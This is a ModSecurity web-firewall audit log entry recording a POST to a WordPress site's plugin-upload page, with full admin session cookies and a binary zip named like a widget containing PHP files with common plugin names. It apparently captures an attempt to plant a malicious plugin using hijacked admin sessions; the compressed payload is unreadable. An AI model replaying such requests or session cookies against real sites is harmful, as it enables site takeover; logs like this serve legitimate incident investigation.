File: //var/lib/modsecurity/audit/20260107/20260107-0213/20260107-021321-aV4HkLhenDUAAChwHM0AAAAX
--4e10bd09-A--
[07/Jan/2026:02:13:21 --0500] aV4HkLhenDUAAChwHM0AAAAX 77.90.185.30 40536 127.0.0.162 80
--4e10bd09-B--
POST /wp-admin/update.php?action=upload-plugin HTTP/1.1
X-Real-IP: 77.90.185.30
Host: www.mentube.net
Connection: close
Content-Length: 89890
HTTP2-Settings: AAEAAQAAAAIAAAAAAAQAYAAAAAYABAAA
Cookie: wordpress_40d4171108fbff4cf1959b09392fae3c=admin%7C1767942796%7CWcoqv0w5moi04faXiyfN67zqngPOhFBzuECdOB7ca9B%7C94fc3c5ab09e0664f89b3fa66d98dd79e9f4aab5b8cbc0c4cf4012ea89dcecb1; wordpress_logged_in_40d4171108fbff4cf1959b09392fae3c=admin%7C1767942796%7CWcoqv0w5moi04faXiyfN67zqngPOhFBzuECdOB7ca9B%7C012c8f289fac1f64a7a9988e643a86ba5503dfebccd2dff8b6d25fda60e513b8; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1767769996; wp-settings-1=m0%3Do%26m1%3Do%26m2%3Dc%26m3%3Dc%26m4%3Do%26m5%3Do%26m6%3Dc%26m7%3Dc%26m8%3Do%26editor%3Dhtml%26m9%3Do%26m10%3Do%26posts_list_mode%3Dlist
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Priority: u=0, i
Cache-Control: max-age=0
DNT: 1
Origin: www.mentube.net
Referer: http://www.mentube.net/wp-admin/update.php?action=upload-plugin
Content-Type: multipart/form-data; boundary=0c62f09bb6d14d22b80b0e4190f951cc
--4e10bd09-C--
--0c62f09bb6d14d22b80b0e4190f951cc
Content-Disposition: form-data; name="_wpnonce"
c3593a5c34
--0c62f09bb6d14d22b80b0e4190f951cc
Content-Disposition: form-data; name="_wp_http_referer"
/wp-admin/plugin-install.php?tab=upload
--0c62f09bb6d14d22b80b0e4190f951cc
Content-Disposition: form-data; name="pluginzip"; filename="widget-1767769996.zip"
Content-Type: application/octet-stream
PK 9'\} + widget-1767769996/class.drop-down-pages.php}UQo6~ׯF)K
F ͅ#t=Rd8w}G}w^$Jìږ0+d{t)A&_\(P:=?asz,TdfI~>LO;Fl@#3\HoɪjߞY r^,x]z_W#A!V!:K3:lj"JR*LBydE>q;|eH(0e*UKpkiCN5M],2B5)CmyA-<ԫ2Bz4(C``T\ ьLWp~Ңc0|spUMf~; ˀ
8`
:Imo6Q{F`6r=ɘapzA`ڠ`#
n}X_DGmdH[d{!G3"wȌϛ'
44_
r^R^ܸѮI[i[
AnȗJԫ{+Ssg#W8'ݓ,tr4wZT4~Y7-rOmJ/Y*
x#߈..,v( Ȱ]t0oUhoJaܷ(4:6v
"w%}Z{}p=*rMͯ8pߘ!eU3%Q!2ކ7V>u53W7FDzBbI/ssnbAv.ƾ߁@wEkn&60Jߍ^Q$ɟR6DZ"C^h.'#mlILm4vIBI5)eʅS>q!^fHevv
Uٌ`ӫ)YL%?PK 9'\mh 7 ' widget-1767769996/eps-301-redirects.php=r7U~˄Tɉ[JX-YQT|)55D`(Zuw?n EJ[f%9h44h|~х>;ǾcC!Dc.&ﱁ-\MBnGپo8U<.ZTt5zk0:CAvU4{/Iw4rjxc(Z^^;k>J8/r:`M7aЍ( G]ĎB|) Ӯ_V]0;bE뉈;ldQct@/~gX.tg={W,;ƚhhumG]a0Ӑs&iC>q@D;^g9Ѕ\;C<l;<dќ)xuv^q.VcϝSw}[V=
DD 1QHϥSL~JÀka,9:иv=9[ >]y-D;:9F?0 [.Qf%^/~*Gߟ~b00/OFgK|Ȏpth.痃c∠|ؔF*T sܾE
pHd#qgAbvGAX=eFN=(ۿ`/Kw
_zAcOv{hG_t_.0m,%SNqp\lH0N+XI:Ǐc&7/ət^j6pp|2Yrϒ,XK;7-BaY;Z iR_!*;ݜ6*]SdSfG6;d3Y8";tPZ`}P&b
˓3 Co:A6HN7v}_pL*ʊkbʞ;4v@eCipXOShM4aZO-8-0-5<XZ,9Y7Z͆V#f#i/46"#k+!<IBr|dS?11YKô/Wv80-ߘHg!R'8fYksG(
y,nӊAc
vL-^(xԬ[6s&lߍV>h6,aq>=ugM<LLiIY.Кؓ9%A~Бbgqm@ûԞQ]=hrc+5R
V5jܯ1$a魖t)}8nUt۵Z6$'rVB5dAo m}X.v1\֤O CQq`Z`s _u4Z4T^4HwC+M
5 4.>"tpy:w%Y,g
|rcjL5cKbCZfdj& q`yȧ5?joϤۋ3s4u?|m7l N5%Nj6^I/sT=Aw?6
A"ןԷkdB*eEb|1Uh+TRd[~f
Y
JUz\ =X!B
I(I~5
MC*EVq'! ~KZqQ#~z]4wX7D}"ZP2n`,:Vu_"ET1q+)@ WKDaW[鈤$d
Ps,VWM6Z┗8NUTX+уbeI.,`mwhqNi:S5 t#hV X[ݍ;7QWAv]D k(ZOyVӜ=/D f3C k&